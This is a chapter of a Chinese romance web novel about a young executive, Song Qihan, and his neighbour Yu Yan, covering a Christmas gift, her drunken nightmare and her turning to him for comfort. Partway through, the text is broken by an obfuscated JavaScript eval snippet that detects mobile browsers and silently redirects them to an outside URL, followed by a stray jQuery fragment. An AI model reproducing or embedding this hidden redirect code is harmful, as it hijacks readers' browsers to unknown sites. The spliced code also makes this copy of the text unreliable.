风登尤洇

36.误解

人呼啦呼啦的往会议室外走,脚步声大大小小,摩挲出迫不及待的步伐,很快,会议室里就变的空空荡荡,只剩下宋栖寒一个人。


背后的大荧幕还卡在ppt最后一页,没有熄屏,屏幕中间的“感谢观看”四个大字就像他这个人一样,无人在意,无人愿意为之停留,甚至,无人关心在这几个字的背后,到底隐藏着他怎样夜以继日的努力。


他们只会倨傲自负的认为他的想法是天方夜谭,也只会高屋建瓴的否定他:如果没了你爹,你什么都不是。


宋栖寒弓下腰,撑在腿上淡漠的笑。


早已对此习以为常。


甚至还觉得可笑:有他爹,他在他们眼里也照样什么都不是。


在这种孤立无援、甚至可以称得上是腹背受敌的时刻,他突然又毫无征兆的想起郁烟,想起她坚定固执的宣讲,想起她不含一点杂质的关心,想起她......


还没有回家。


明明昨晚刚在一起睡过觉,可他却还是无法控制的掏出手机,想从她只有一条文字输出的朋友圈里窥探下她今天在干什么,过的是不是还像昨天那么好,那么自由潇洒又开心。


当界面从主屏幕跳进信息列表时,他惊喜的发现,她竟然在半个小时前主动给他发来一条消息,内容是询问他什么时候回家。心下雀跃的同时,他当即摁住屏幕,给她回去一条语音讯息:


“刚开完会,等下就回去。”


那条语音轻快,愉悦,察觉不出一丝疲惫。


却没有得到他预想之中的回复。


他等了十几分钟,手中的手机仍旧是安安静静的,除了公众号提示他有一条刚更新的财经资讯之外,什么都没有。


捏了捏眉心,他顺着她的头像点进她朋友圈。


她的头像很酷,是一个齐刘海长发女孩,皮肤白皙,红唇明艳,燃剩半支的烟叼在嘴里,衬的那双眼睛空灵又冷漠,看上去酷飒,妩媚,不可一世,不知道是动漫人物还是仿人绘画,很像她,却又不是她。


与之相反的,是她十分干净的朋友圈。


纯黑色背景,简单的“——”个签,还有一条于三天前夜晚发布的文字内容:


「人生就像双实线,一旦认定,就要有一条路走到黑的勇气,不回头,也不后悔。」


除此之外,再没有更多的内容。


这条纯文字内容他在这几天里曾反反复复看过几十遍,已经到闭着眼都能一字不漏的复述出来的地步,尽管如此,当又一次直面时,他还是会被她隐藏在这句话里的骄傲与自信震慑到。


他无法想象,一个人的精神内核到底得强大到什么地步,才能写出这么有力量又鼓舞人心的文字。


光是看着,都能让人感受到她的洒脱与坚韧。


让人不自觉地想要靠近她,从她身上汲取与世界对抗的力量。


他这么想着,也这么做了。他一把将面前成叠的文件扬了一会议室,不再去管他们到底怎样否认它,贬低它,于纸张纷纷扬扬的从半空中落下时,他站起身,边拢西装外套边往会议室外走。


径直略过一排排点灯摸鱼的人,下楼上车。


司机尽职尽责的开着车,宋栖寒靠坐在柔软的真皮座椅里,挂掉给某股东打去的电话后,没有一点征兆的问他:“郑叔,你跟我多久了?”


郑叔戴着白手套的手紧了紧,他透过光线昏暗的后视镜对上他那双锐利狠戾的眼,被震的额头直冒冷汗。


他没有正面回答他的问题,却又给了他想要的答案,“少爷,您放心,我就是个没有耳朵没有舌头的人,只负责开好车,让您在路上一帆风顺。”


敲打到位,宋栖寒满意的阖上双眼,声音依旧寒凉,“缺钱随时跟我说,好好跟着我不会亏待你。”


“少爷已经待我很好了,这辈子我愿唯少爷马首是瞻。”


宋栖寒没说话,周身的凛冽气场却收敛不少。


老郑意识到自己是说对了话,让他感觉到满意了,这才抬手擦了擦莫须有的冷汗,专心开车。


车子很快开进观海听澜21栋,他小心翼翼的熄了火,放轻声音下了车,没有打扰后座看起来已经睡着的宋栖寒。


宋栖寒在他走后几分钟,才缓缓睁开眼睛。


那双眼里,寒霜遍布,不带一丝感情,但是在扫到隔壁22幢庭院里燃起的幽幽暗盏时,却又温柔了下来。他翻开手里的手机,看到仍然没有一条微信消息传送进来,扯了扯唇角,下车走进客厅。


客厅里很乱。


小猫们把他给它们买的玩偶撕咬的到处漏棉,这儿一小团,那儿一大团的,满屋子都是白花花的棉絮,甚至奶牛猫见他回来都不知道收敛,头上顶着兔子头套就瞎碰乱撞的跑出来,想吓他一跳。


他认命的走过去把它脑袋上的兔子头扯下来,扔进垃圾桶,又去拿扫把把地上的棉絮全都扫进簸箕里。


扫到自动猫粮机附近时,他眼尖的发现——


猫粮机不远处放着一个已经被舔空的猫罐头。


他今天走之前并没有喂薯饼吃过猫罐头,也没有第三个人能进来他家,除了他,就只能是郁烟。


心底泛起层层涟漪,连带着人都柔和下来。


他难得主动去跟窝在沙发上打瞌睡的薯饼讲话:“薯饼,你姐姐今天回来过了?”


“喵~”


得到确切的答复,宋栖寒再没心思扫地,他放下手中的扫把和簸箕,迈步上楼,打算先洗个澡,换身衣服,然后下来做顿晚饭,以便在她折返回来时可以有口饭吃。


只是刚一进卧室,他就瞥见床上多出个礼盒。


黑色磨砂方盒,中间印有烫金logo,蝴蝶结成十字型环绕,于接壤处被绑成一个漂亮的蝴蝶结,下面压着张白色的正方形卡片。


宋栖寒抽出那张卡片来看,上面是郁烟写下的漂亮行楷字体:


「圣诞礼物。」


他将那张卡片放到床上,着手去拆礼盒。


盒子很大,里面的东西却不占多少地方,一条黑白撞色的丝巾静静躺在正中间,图案大胆狂放却又不突兀,很适合用来搭配黑衬衫。


是他喜欢的风格。


他视若珍宝的拿在手里欣赏了好半晌,才妥帖的把它放进一个没有装任何东西的展柜里,想给她发条信息,告诉她:他看到了她送他的礼物,他很喜欢。但是当字全部呈现在会话框里,他想了想,又长按全部删掉,想等她回来以后亲口道谢。


捏着手机转身下楼,去备菜。


所有食材都被处理好,准备到一旁,他擦干净手,抱着mac坐到正对门的椅子上处理工作相关的事情,一直到十几份邮件都被回复完,他瞥了眼大门,还是没能发现她回来的踪影。


他靠在椅子里短暂的休息了片刻,正好看到薯饼从猫砂盆里跳出来,一把摁下mac,系好塑料袋,出去扔垃圾。


短短几十米的路程,被他走出几十公里的感觉,他站在垃圾桶旁望着22幢仍然没有亮起灯火的客厅,垂下眼皮,步伐缓慢的往回走。一直到他重新回到客厅,都没有看到郁烟的踪影。


他心觉好笑的重新掰开笔电,想强制自己再忙一会儿,余光却瞥见薯饼三步并两步的往门口冲,对着门“喵喵”个不停。


心里“咯噔”一声,他似有所感的朝门口看去。


下一秒。


门被从外敞开。


-


郁烟其实今晚不大想过来。


毕竟前有卢以姗喜欢陈竞航却无法得到回应的事儿,后有陈竞航差点为她把半条命折进蒋明轩手里的事儿,两个人这么一来一去,整的她有点没心思去操心别的。


只想一个人安安静静的呆着。


但她想着之前把礼物给宋栖寒放到卧室里,总得撂句话,不然什么都不说显得她有点为了还礼物而还礼物的意思,难免敷衍。


于是,她脚尖一转,走进他家。


宋栖寒果不其然在家。他见她进来,还没靠近便闻到她身上的酒精味儿,也不问她是不是出去喝酒了,是跟谁一起喝的,就只从餐桌前站起来,走向岛台,“给你煮点醒酒汤?”


“不用,没喝多少,”郁烟关上门,抄起薯饼就往沙发上躺,“给你的礼物放卧室了,你看到了么?”


“看到了,我很喜欢。”


“行,那你忙吧,我抱着它睡会儿。”


“不忙,直接上楼睡吧。”


“......”


这句话的回音落下,半晌都没能再听到什么动静,宋栖寒端着气泡水折返回来,才发觉郁烟已经睡过去了。


他拉过毯子,动作轻柔的盖到她身上。


手指几不可感的将垂到她鼻梁上的碎发勾到鬓边,他注视着她睡着了都仍然紧紧皱着的眉头,没忍住,用拇指抚上去,轻轻替她舒展开来。


她估计是感觉到了,不痛快的扯了扯被子,避开触碰。他没敢再动她,直起身子回到餐桌前,安心忙工作。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724884|168774||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


夜很深,她回来的不算早,外面的天就像被蒙了一层黑布,漆黑,黝深,不见一点光亮。客厅里没开灯,只有窗外的路灯投进来些许细微光芒与电脑屏幕散射出的白光相较量,将他那双晦暗幽深的眼勾勒的传神。


他大部分时间都在翻阅文件,很少打字,避免把沙发里的人吵醒,可就算这样,郁烟还是睡的很不安稳。


时不时翻个身,再时不时踹两脚被子。


显而易见是心里装着事。


他不知道到底是什么事情让她这么上心,她也不愿意跟他讲,越想越觉得有些焦躁,他一把扯下架在鼻梁上的眼镜,揉捏眉心。


不甚清晰的目光越过电脑屏幕,直直落在她身上。


停住,没再偏移。


郁烟不知道他在关注她,只陷在噩梦里出不来。


在那场噩梦里,她没能拦住陈竞航,让他孤身一人握着被摔锋利的酒瓶冲进去找蒋明轩,等她和卫知衍再追进去的时候,他们已经打完了——


陈竞航不仅用酒瓶刺伤了蒋明轩,蒋明轩和他的朋友们也没放过他,把他打的浑身是血,趴在地上起都起不来。


那个场面,要多血腥有多血腥,真实的宛若真正发生的事情一般。


画面一转。


她们又来到医院急诊门口。


她爸妈和他爸妈全都急匆匆的赶来了,四位长辈坐在急诊门口的椅子上,卢以姗蹲在地上,卫知衍靠在墙边,她们有的在哭,有的在询问她到底发生了什么,有的在沉思,有的虽然一句话都不说,但是看向她的眼睛里弥漫着浓重的失望与悲恸。


没有指责,却远比直截了当的指责更伤人。


她有些无助,不想让她们用那种眼神看她,几番张口想要解释,却不知道为什么根本发不出一点声音来,只能任由那些无声却翻涌的情绪将她掩埋。


不一会儿。


急诊的灯灭了。


几个身穿白大褂的医生边摘口罩边走出来,问他们:“你们谁是陈竞航的家属?”


不等她有所回答,领头的那位医生满脸惋惜的冲陈竞航的妈妈摇了摇头,说了一句:“我们尽力了,请节哀。”


那一刻。


急诊门外乱成一团,她耳晕目眩,感觉快要窒息。


她不敢相信这个说好了要陪她走一辈子的人,就这么因为她的一个错误选择而离开了她。


眼泪成线的往下掉,她疯了一样往急诊里冲,边冲边喊:


“陈竞航!!!”


里面无人应她,只有身后的不知道是谁死死的抱住了她,不让她去里面看他,她拼了命的挣扎,想要从他怀里挣脱出来,那人就死命的抱住她,禁锢她的同时,还一直在喊她的名字,“郁烟,郁烟......”


她觉得这人可真烦,为什么连最后一面都不肯让她去看看陈竞航,她抹了把眼泪,扭头想看看这人到底是谁,这么混蛋。


可当她扭过头去才发现,那人是宋栖寒。


她一下子就清醒过来了。


她猛的睁开双眼,脱力的靠进他怀里急促的喘息着,边喘,额角豆大的汗珠边往下掉,不出几秒钟就晕湿了她的整张脸。


惊魂未定的四处张望着,良久后,终于确定她现在不是在医院,而是在宋栖寒家,刚刚那也不是现实,只是一场梦罢了,她这才劫后余生的扑进宋栖寒怀里,紧咬着下唇抽噎。


宋栖寒从来没见过她这样。


在他眼中,她从来都是果敢,坚韧,不可一世的,别说哭了,就是认输都是从来没有过的事情。


可是现在,她却脆弱无比的在他怀里哭。


这让他一时不知道该怎么去安慰她。


“郁烟......”他只能浅薄的将手心贴到她肩胛凸起的背上,轻轻摩挲,“别怕,我在。”


郁烟哭的上气不接下气,比害怕更多的,是庆幸。庆幸方才那只是一场梦,陈竞航一点事情都没有。


可越是庆幸,她就越是后怕,在两方不同的情绪交相拉扯之下,她久久都无法从情绪的浪潮里脱身而出。她心里也清楚这么下去不是个事儿,所以,她拽上宋栖寒的领子,抽噎的跟他说:


“宋栖寒,我们做吧。”


话音未落,她便闭上眼睛,主动吻上他,向他索取回应。


宋栖寒温柔的回应着她,眼底的温度却凉了下去。


这一刻。


他真的很想问问她。


她究竟把他当成了谁,当成了什么。